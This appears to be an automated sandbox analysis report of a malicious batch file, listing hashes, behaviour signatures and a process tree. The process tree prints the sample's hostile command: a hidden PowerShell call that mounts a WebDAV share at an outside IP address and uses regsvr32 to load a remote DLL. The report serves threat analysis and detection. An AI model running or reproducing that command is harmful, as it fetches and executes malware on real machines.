Analysis
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max time kernel
140s -
max time network
107s -
platform
windows10-2004_x64 -
resource
win10v2004-20240709-en -
resource tags
arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system -
submitted
19/07/2024, 06:08
Static task
static1
Behavioral task
behavioral1
Sample
29742238861328715131.bat
Resource
win7-20240705-en
Behavioral task
behavioral2
Sample
29742238861328715131.bat
Resource
win10v2004-20240709-en
General
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Target
29742238861328715131.bat
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Size
2KB
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MD5
b55f22b43eaebddbc01060ffbf63abf3
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SHA1
95f31e441dab300cb1772f7e51278f8ad35c44c1
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SHA256
67cbb2ffbdfe712cdfe00b4aa1863195fbd741884e78b9b152ea5431568e05a7
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SHA512
14622b821ac207d37efd8bdd38f3e46264ed38978aad776abc7e245262cf2dc6c36b81981909f433fd126450a4b02e64b85b2413eed38510167ed0d47df0efa1
Malware Config
Signatures
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2004 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000\Control Panel\International\Geo\Nation cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Runs net.exe
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Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2004 powershell.exe 2004 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2004 powershell.exe -
Suspicious use of SetWindowsHookEx 5 IoCs
pid Process 404 wordpad.exe 404 wordpad.exe 404 wordpad.exe 404 wordpad.exe 404 wordpad.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 2936 wrote to memory of 404 2936 cmd.exe 85 PID 2936 wrote to memory of 404 2936 cmd.exe 85 PID 2936 wrote to memory of 2004 2936 cmd.exe 87 PID 2936 wrote to memory of 2004 2936 cmd.exe 87 PID 2004 wrote to memory of 3936 2004 powershell.exe 89 PID 2004 wrote to memory of 3936 2004 powershell.exe 89 PID 2004 wrote to memory of 3588 2004 powershell.exe 90 PID 2004 wrote to memory of 3588 2004 powershell.exe 90
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\29742238861328715131.bat"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2936 -
C:\Program Files\Windows NT\Accessories\wordpad.exe"C:\Program Files\Windows NT\Accessories\wordpad.exe"2⤵
- Suspicious use of SetWindowsHookEx
PID:404
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\30742057426029.dll2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2004 -
C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\3⤵PID:3936
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C:\Windows\system32\regsvr32.exe"C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\30742057426029.dll3⤵PID:3588
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc1⤵PID:4804
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82